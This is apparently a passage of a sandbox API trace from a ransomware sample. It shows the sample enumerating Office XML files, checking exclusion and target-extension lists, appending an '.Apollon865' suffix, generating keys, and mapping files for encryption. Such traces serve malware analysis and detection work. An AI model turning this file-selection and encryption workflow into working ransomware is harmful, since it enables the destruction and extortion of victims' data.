	[0068.985] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x206de900, ftCreationTime.dwHighDateTime=0x1ca1b2e, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x206de900, ftLastWriteTime.dwHighDateTime=0x1ca1b2e, nFileSizeHigh=0x0, nFileSizeLow=0xb3da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGLBL093.XML", cAlternateFileName="")) returned 1
	[0068.985] lstrcmpiW (lpString1="PGLBL093.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0068.985] lstrcmpiW (lpString1="PGLBL093.XML", lpString2="Apollon865.txt.exe") returned 1
	[0068.985] lstrcmpiW (lpString1="PGLBL093.XML", lpString2=".") returned 1
	[0068.985] lstrcmpiW (lpString1="PGLBL093.XML", lpString2="..") returned 1
	[0068.985] lstrcmpiW (lpString1="PGLBL093.XML", lpString2="windows") returned -1
	[0068.985] lstrcmpiW (lpString1="PGLBL093.XML", lpString2="bootmgr") returned 1
	[0068.985] lstrcmpiW (lpString1="PGLBL093.XML", lpString2="temp") returned -1
	[0068.985] lstrcmpiW (lpString1="PGLBL093.XML", lpString2="pagefile.sys") returned 1
	[0068.985] lstrcmpiW (lpString1="PGLBL093.XML", lpString2="boot") returned 1
	[0068.985] lstrcmpiW (lpString1="PGLBL093.XML", lpString2="ids.txt") returned 1
	[0068.985] lstrcmpiW (lpString1="PGLBL093.XML", lpString2="ntuser.dat") returned 1
	[0068.985] lstrcmpiW (lpString1="PGLBL093.XML", lpString2="perflogs") returned 1
	[0068.985] lstrcmpiW (lpString1="PGLBL093.XML", lpString2="MSBuild") returned 1
	[0068.985] lstrlenW (lpString="PGLBL093.XML") returned 12
	[0068.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL092.XML") returned 64
	[0068.985] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGLBL093.XML" | out: lpString1="PGLBL093.XML") returned="PGLBL093.XML"
	[0068.985] lstrlenW (lpString="PGLBL093.XML") returned 12
	[0068.985] lstrlenW (lpString="Apollon865") returned 10
	[0068.986] lstrcmpiW (lpString1="LBL093.XML", lpString2="Apollon865") returned 1
	[0068.986] lstrlenW (lpString=".dll") returned 4
	[0068.986] lstrcmpiW (lpString1="PGLBL093.XML", lpString2=".dll") returned 1
	[0068.986] lstrlenW (lpString=".lnk") returned 4
	[0068.986] lstrcmpiW (lpString1="PGLBL093.XML", lpString2=".lnk") returned 1
	[0068.986] lstrlenW (lpString=".ini") returned 4
	[0068.986] lstrcmpiW (lpString1="PGLBL093.XML", lpString2=".ini") returned 1
	[0068.986] lstrlenW (lpString=".sys") returned 4
	[0068.986] lstrcmpiW (lpString1="PGLBL093.XML", lpString2=".sys") returned 1
	[0068.986] lstrlenW (lpString="PGLBL093.XML") returned 12
	[0068.986] lstrlenW (lpString="bak") returned 3
	[0068.986] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0068.986] lstrlenW (lpString="ba_") returned 3
	[0068.986] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0068.986] lstrlenW (lpString="dbb") returned 3
	[0068.986] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0068.986] lstrlenW (lpString="vmdk") returned 4
	[0068.986] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0068.986] lstrlenW (lpString="rar") returned 3
	[0068.986] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0068.986] lstrlenW (lpString="zip") returned 3
	[0068.986] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0068.986] lstrlenW (lpString="tgz") returned 3
	[0068.986] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0068.986] lstrlenW (lpString="vbox") returned 4
	[0068.986] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0068.986] lstrlenW (lpString="vdi") returned 3
	[0068.986] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0068.986] lstrlenW (lpString="vhd") returned 3
	[0068.986] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0068.986] lstrlenW (lpString="vhdx") returned 4
	[0068.986] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0068.986] lstrlenW (lpString="avhd") returned 4
	[0068.986] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0068.986] lstrlenW (lpString="db") returned 2
	[0068.986] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0068.986] lstrlenW (lpString="db2") returned 3
	[0068.986] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0068.987] lstrlenW (lpString="db3") returned 3
	[0068.987] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0068.987] lstrlenW (lpString="dbf") returned 3
	[0068.987] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0068.987] lstrlenW (lpString="mdf") returned 3
	[0068.987] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0068.987] lstrlenW (lpString="mdb") returned 3
	[0068.987] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0068.987] lstrlenW (lpString="sql") returned 3
	[0068.987] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0068.987] lstrlenW (lpString="sqlite") returned 6
	[0068.987] lstrcmpiW (lpString1="93.XML", lpString2="sqlite") returned -1
	[0068.987] lstrlenW (lpString="sqlite3") returned 7
	[0068.987] lstrcmpiW (lpString1="093.XML", lpString2="sqlite3") returned -1
	[0068.987] lstrlenW (lpString="sqlitedb") returned 8
	[0068.987] lstrcmpiW (lpString1="L093.XML", lpString2="sqlitedb") returned -1
	[0068.987] lstrlenW (lpString="xml") returned 3
	[0068.987] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0068.987] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL093.XML.Apollon865") returned 75
	[0068.987] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL093.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl093.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL093.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl093.xml.apollon865"), dwFlags=0x1) returned 1
	[0068.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL093.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl093.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0068.989] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=46042) returned 1
	[0068.989] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0068.989] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0068.989] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0068.989] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0068.990] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0068.990] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0068.990] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb6e0, lpName=0x0) returned 0x118
	[0068.991] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb6e0) returned 0x100000
	[0068.994] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0068.994] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0068.994] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0068.995] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0068.995] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0068.995] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0068.995] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0068.995] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0068.995] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0068.995] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0068.995] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0068.995] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0068.995] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0068.995] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0068.996] CloseHandle (hObject=0x118) returned 1
	[0068.996] CloseHandle (hObject=0x15c) returned 1
	[0068.996] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0068.996] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0068.996] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0068.996] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b48300, ftCreationTime.dwHighDateTime=0x1c9fe1c, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32b48300, ftLastWriteTime.dwHighDateTime=0x1c9fe1c, nFileSizeHigh=0x0, nFileSizeLow=0x1a1e8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGLBL095.XML", cAlternateFileName="")) returned 1
	[0068.996] lstrcmpiW (lpString1="PGLBL095.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0068.996] lstrcmpiW (lpString1="PGLBL095.XML", lpString2="Apollon865.txt.exe") returned 1
	[0068.996] lstrcmpiW (lpString1="PGLBL095.XML", lpString2=".") returned 1
	[0068.996] lstrcmpiW (lpString1="PGLBL095.XML", lpString2="..") returned 1
	[0068.996] lstrcmpiW (lpString1="PGLBL095.XML", lpString2="windows") returned -1
	[0068.996] lstrcmpiW (lpString1="PGLBL095.XML", lpString2="bootmgr") returned 1
	[0068.996] lstrcmpiW (lpString1="PGLBL095.XML", lpString2="temp") returned -1
	[0068.996] lstrcmpiW (lpString1="PGLBL095.XML", lpString2="pagefile.sys") returned 1
	[0068.996] lstrcmpiW (lpString1="PGLBL095.XML", lpString2="boot") returned 1
	[0068.996] lstrcmpiW (lpString1="PGLBL095.XML", lpString2="ids.txt") returned 1
	[0068.996] lstrcmpiW (lpString1="PGLBL095.XML", lpString2="ntuser.dat") returned 1
	[0068.996] lstrcmpiW (lpString1="PGLBL095.XML", lpString2="perflogs") returned 1
	[0068.996] lstrcmpiW (lpString1="PGLBL095.XML", lpString2="MSBuild") returned 1
	[0068.996] lstrlenW (lpString="PGLBL095.XML") returned 12
	[0068.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL093.XML") returned 64
	[0068.996] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGLBL095.XML" | out: lpString1="PGLBL095.XML") returned="PGLBL095.XML"
	[0068.996] lstrlenW (lpString="PGLBL095.XML") returned 12
	[0068.997] lstrlenW (lpString="Apollon865") returned 10
	[0068.997] lstrcmpiW (lpString1="LBL095.XML", lpString2="Apollon865") returned 1
	[0068.997] lstrlenW (lpString=".dll") returned 4
	[0068.997] lstrcmpiW (lpString1="PGLBL095.XML", lpString2=".dll") returned 1
	[0068.997] lstrlenW (lpString=".lnk") returned 4
	[0068.997] lstrcmpiW (lpString1="PGLBL095.XML", lpString2=".lnk") returned 1
	[0068.997] lstrlenW (lpString=".ini") returned 4
	[0068.997] lstrcmpiW (lpString1="PGLBL095.XML", lpString2=".ini") returned 1
	[0068.997] lstrlenW (lpString=".sys") returned 4
	[0068.997] lstrcmpiW (lpString1="PGLBL095.XML", lpString2=".sys") returned 1
	[0068.997] lstrlenW (lpString="PGLBL095.XML") returned 12
	[0068.997] lstrlenW (lpString="bak") returned 3
	[0068.997] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0068.997] lstrlenW (lpString="ba_") returned 3
	[0068.997] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0068.997] lstrlenW (lpString="dbb") returned 3
	[0068.997] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0068.997] lstrlenW (lpString="vmdk") returned 4
	[0068.997] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0068.997] lstrlenW (lpString="rar") returned 3
	[0068.997] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0068.997] lstrlenW (lpString="zip") returned 3
	[0068.997] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0068.997] lstrlenW (lpString="tgz") returned 3
	[0068.997] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0068.997] lstrlenW (lpString="vbox") returned 4
	[0068.997] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0068.997] lstrlenW (lpString="vdi") returned 3
	[0068.997] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0068.997] lstrlenW (lpString="vhd") returned 3
	[0068.997] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0068.997] lstrlenW (lpString="vhdx") returned 4
	[0068.997] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0068.997] lstrlenW (lpString="avhd") returned 4
	[0068.997] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0068.997] lstrlenW (lpString="db") returned 2
	[0068.997] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0068.998] lstrlenW (lpString="db2") returned 3
	[0068.998] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0068.998] lstrlenW (lpString="db3") returned 3
	[0068.998] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0068.998] lstrlenW (lpString="dbf") returned 3
	[0068.998] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0068.998] lstrlenW (lpString="mdf") returned 3
	[0068.998] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0068.998] lstrlenW (lpString="mdb") returned 3
	[0068.998] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0068.998] lstrlenW (lpString="sql") returned 3
	[0068.998] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0068.998] lstrlenW (lpString="sqlite") returned 6
	[0068.998] lstrcmpiW (lpString1="95.XML", lpString2="sqlite") returned -1
	[0068.998] lstrlenW (lpString="sqlite3") returned 7
	[0068.998] lstrcmpiW (lpString1="095.XML", lpString2="sqlite3") returned -1
	[0068.998] lstrlenW (lpString="sqlitedb") returned 8
	[0068.998] lstrcmpiW (lpString1="L095.XML", lpString2="sqlitedb") returned -1
	[0068.998] lstrlenW (lpString="xml") returned 3
	[0068.998] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0068.998] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL095.XML.Apollon865") returned 75
	[0068.998] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL095.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl095.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL095.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl095.xml.apollon865"), dwFlags=0x1) returned 1
	[0068.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL095.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl095.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0068.999] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=106984) returned 1
	[0068.999] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0068.999] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0068.999] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0068.999] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.000] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.000] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.000] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a4f0, lpName=0x0) returned 0x118
	[0069.002] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1a4f0) returned 0x120000
	[0069.009] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.010] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.010] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.010] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0069.010] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0069.010] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0069.010] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0069.010] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0069.010] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0069.010] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0069.010] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0069.010] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0069.010] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0069.010] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0069.011] CloseHandle (hObject=0x118) returned 1
	[0069.012] CloseHandle (hObject=0x15c) returned 1
	[0069.012] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0069.012] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0069.012] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0069.012] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39db9100, ftCreationTime.dwHighDateTime=0x1c9fe1c, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39db9100, ftLastWriteTime.dwHighDateTime=0x1c9fe1c, nFileSizeHigh=0x0, nFileSizeLow=0x19ede, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGLBL096.XML", cAlternateFileName="")) returned 1
	[0069.012] lstrcmpiW (lpString1="PGLBL096.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.012] lstrcmpiW (lpString1="PGLBL096.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.012] lstrcmpiW (lpString1="PGLBL096.XML", lpString2=".") returned 1
	[0069.012] lstrcmpiW (lpString1="PGLBL096.XML", lpString2="..") returned 1
	[0069.012] lstrcmpiW (lpString1="PGLBL096.XML", lpString2="windows") returned -1
	[0069.012] lstrcmpiW (lpString1="PGLBL096.XML", lpString2="bootmgr") returned 1
	[0069.012] lstrcmpiW (lpString1="PGLBL096.XML", lpString2="temp") returned -1
	[0069.012] lstrcmpiW (lpString1="PGLBL096.XML", lpString2="pagefile.sys") returned 1
	[0069.012] lstrcmpiW (lpString1="PGLBL096.XML", lpString2="boot") returned 1
	[0069.012] lstrcmpiW (lpString1="PGLBL096.XML", lpString2="ids.txt") returned 1
	[0069.013] lstrcmpiW (lpString1="PGLBL096.XML", lpString2="ntuser.dat") returned 1
	[0069.013] lstrcmpiW (lpString1="PGLBL096.XML", lpString2="perflogs") returned 1
	[0069.013] lstrcmpiW (lpString1="PGLBL096.XML", lpString2="MSBuild") returned 1
	[0069.013] lstrlenW (lpString="PGLBL096.XML") returned 12
	[0069.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL095.XML") returned 64
	[0069.013] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGLBL096.XML" | out: lpString1="PGLBL096.XML") returned="PGLBL096.XML"
	[0069.013] lstrlenW (lpString="PGLBL096.XML") returned 12
	[0069.013] lstrlenW (lpString="Apollon865") returned 10
	[0069.013] lstrcmpiW (lpString1="LBL096.XML", lpString2="Apollon865") returned 1
	[0069.013] lstrlenW (lpString=".dll") returned 4
	[0069.013] lstrcmpiW (lpString1="PGLBL096.XML", lpString2=".dll") returned 1
	[0069.013] lstrlenW (lpString=".lnk") returned 4
	[0069.013] lstrcmpiW (lpString1="PGLBL096.XML", lpString2=".lnk") returned 1
	[0069.013] lstrlenW (lpString=".ini") returned 4
	[0069.013] lstrcmpiW (lpString1="PGLBL096.XML", lpString2=".ini") returned 1
	[0069.013] lstrlenW (lpString=".sys") returned 4
	[0069.013] lstrcmpiW (lpString1="PGLBL096.XML", lpString2=".sys") returned 1
	[0069.013] lstrlenW (lpString="PGLBL096.XML") returned 12
	[0069.013] lstrlenW (lpString="bak") returned 3
	[0069.013] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.013] lstrlenW (lpString="ba_") returned 3
	[0069.013] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.013] lstrlenW (lpString="dbb") returned 3
	[0069.013] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.013] lstrlenW (lpString="vmdk") returned 4
	[0069.013] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.013] lstrlenW (lpString="rar") returned 3
	[0069.013] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.013] lstrlenW (lpString="zip") returned 3
	[0069.013] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.013] lstrlenW (lpString="tgz") returned 3
	[0069.013] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.013] lstrlenW (lpString="vbox") returned 4
	[0069.013] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.013] lstrlenW (lpString="vdi") returned 3
	[0069.013] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.013] lstrlenW (lpString="vhd") returned 3
	[0069.014] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.014] lstrlenW (lpString="vhdx") returned 4
	[0069.014] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.014] lstrlenW (lpString="avhd") returned 4
	[0069.014] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.014] lstrlenW (lpString="db") returned 2
	[0069.014] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.014] lstrlenW (lpString="db2") returned 3
	[0069.014] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.014] lstrlenW (lpString="db3") returned 3
	[0069.014] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.014] lstrlenW (lpString="dbf") returned 3
	[0069.014] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.014] lstrlenW (lpString="mdf") returned 3
	[0069.014] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.014] lstrlenW (lpString="mdb") returned 3
	[0069.014] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.014] lstrlenW (lpString="sql") returned 3
	[0069.014] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.014] lstrlenW (lpString="sqlite") returned 6
	[0069.014] lstrcmpiW (lpString1="96.XML", lpString2="sqlite") returned -1
	[0069.014] lstrlenW (lpString="sqlite3") returned 7
	[0069.014] lstrcmpiW (lpString1="096.XML", lpString2="sqlite3") returned -1
	[0069.014] lstrlenW (lpString="sqlitedb") returned 8
	[0069.014] lstrcmpiW (lpString1="L096.XML", lpString2="sqlitedb") returned -1
	[0069.014] lstrlenW (lpString="xml") returned 3
	[0069.014] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.014] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL096.XML.Apollon865") returned 75
	[0069.014] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL096.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl096.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL096.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl096.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL096.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl096.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.015] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=106206) returned 1
	[0069.015] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0069.016] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0069.016] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0069.016] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.016] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.016] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.017] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a1e0, lpName=0x0) returned 0x118
